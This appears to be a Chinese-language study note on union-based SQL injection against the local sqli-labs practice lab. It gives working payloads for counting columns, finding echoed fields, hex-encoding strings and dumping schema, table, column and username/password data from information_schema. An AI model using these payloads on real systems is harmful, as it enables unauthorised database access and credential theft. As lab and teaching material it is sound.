1)、前期准備、知識點
開始之前,為了方便查看sql注入語句,我在sqli-labs-master網頁源碼php部分加了兩行代碼,第一行意思是輸出數據庫語句,第二行是換行符
一、Mysql 登錄
1、明文密碼 在bin目錄下 輸入:mysql -u 賬戶 -p 密碼
2、**密碼 在bin目錄下 輸入:mysql -u 賬戶 -p 后回車再輸入密碼
二、注釋符
--+ -- # 都是SQL語句的注釋符 ,sql語句運行到此結束。
三、and or
A and B A,B都Ture 結果才為Ture
A or B A,B 有一個Ture 結果就為Ture
四、limit
limit m,n :顯示從m列開始 顯示n行
五、 ?id=1 后加 '
可以判斷存在SQL漏洞,
例如:http://localhost/sqli-labs-master/Less-1/?id= 1'or 1=1 --+
sql語句:SELECT * FROM users WHERE id=' 1'or 1=1 -- ' LIMIT 0,1
六、order by
order by + n : 查詢結果根據第n列排序
order by 可判斷數據表 列數
在嘗試是N值折半測試
例:http://localhost/sqli-labs-master/Less-1/?id=1'order by 3 --+
SELECT * FROM users WHERE id='1'order by 3 -- ' LIMIT 0,1
七、union 聯合查詢
在使用 order by 測試出列數后,使用 union + 數字 查看回顯信息,測試回顯的哪幾列,
錯誤示例:http://localhost/sqli-labs-master/Less-1/?id=1'union select 1,2,3--+
如圖,在id值正確時 由於limit 0,1只能顯示一行,回顯結果無法做出正確判斷
正確示例:http://localhost/sqli-labs-master/Less-1/?id=-1'union select 1,2,3--+
如圖,將id值設置為-1(即不存在值),結果回顯為第2、3列
八、利用union 回顯位置進行數據庫查詢
例:http://localhost/sqli-labs-master/Less-1/?id=-1'union select 1,2,user()--+
在回顯位置 顯示用戶(select user())
九、' 部分 特殊字符部分轉化為十六進制
注:在SQL注入時 如需 ' ' 單引號括住內容 盡量轉化為16進制(0x+內容的十六進制)
方式如下:
十、暴庫SQL語句
查庫:select schema_name from information_schema.schemata
查表:select table_name from information_schema.tables where table_schema='庫名'
查列:select column_name from information_schema.columns where table_name='表名'
查字段:select 列1,列2,列3 from 庫名.表名
注:引號包裹部分 整體使用十六進制代替 如 table_schema='security' -> table_schema=0x7365637572697479
十一、SQL常用函數
查詢函數
1.version() --Mysql版本
2.user() --數據庫用戶名
3.database() --數據庫名
4.@@datadir --數據庫安裝路徑
5.@@version_compile_os --操作系統的版本
字符串連接函數:
1.concat(字符串1,字符串2) --沒有分隔符的連接字符串
2.concat_ws(-/~,字符串1,字符串2) --含有分隔符的連接字符串
3.group_concat(字符串1,字符串2) --連接一個組的所有字符串,並用,分隔每一個字符。
例:select 1,2,group_concat(concat_ws(0x2d2d,id,username,password)) from security.users
使用及區別詳情見:https://baijiahao.baidu.com/s?id=1595349117525189591&wfr=spider&for=pc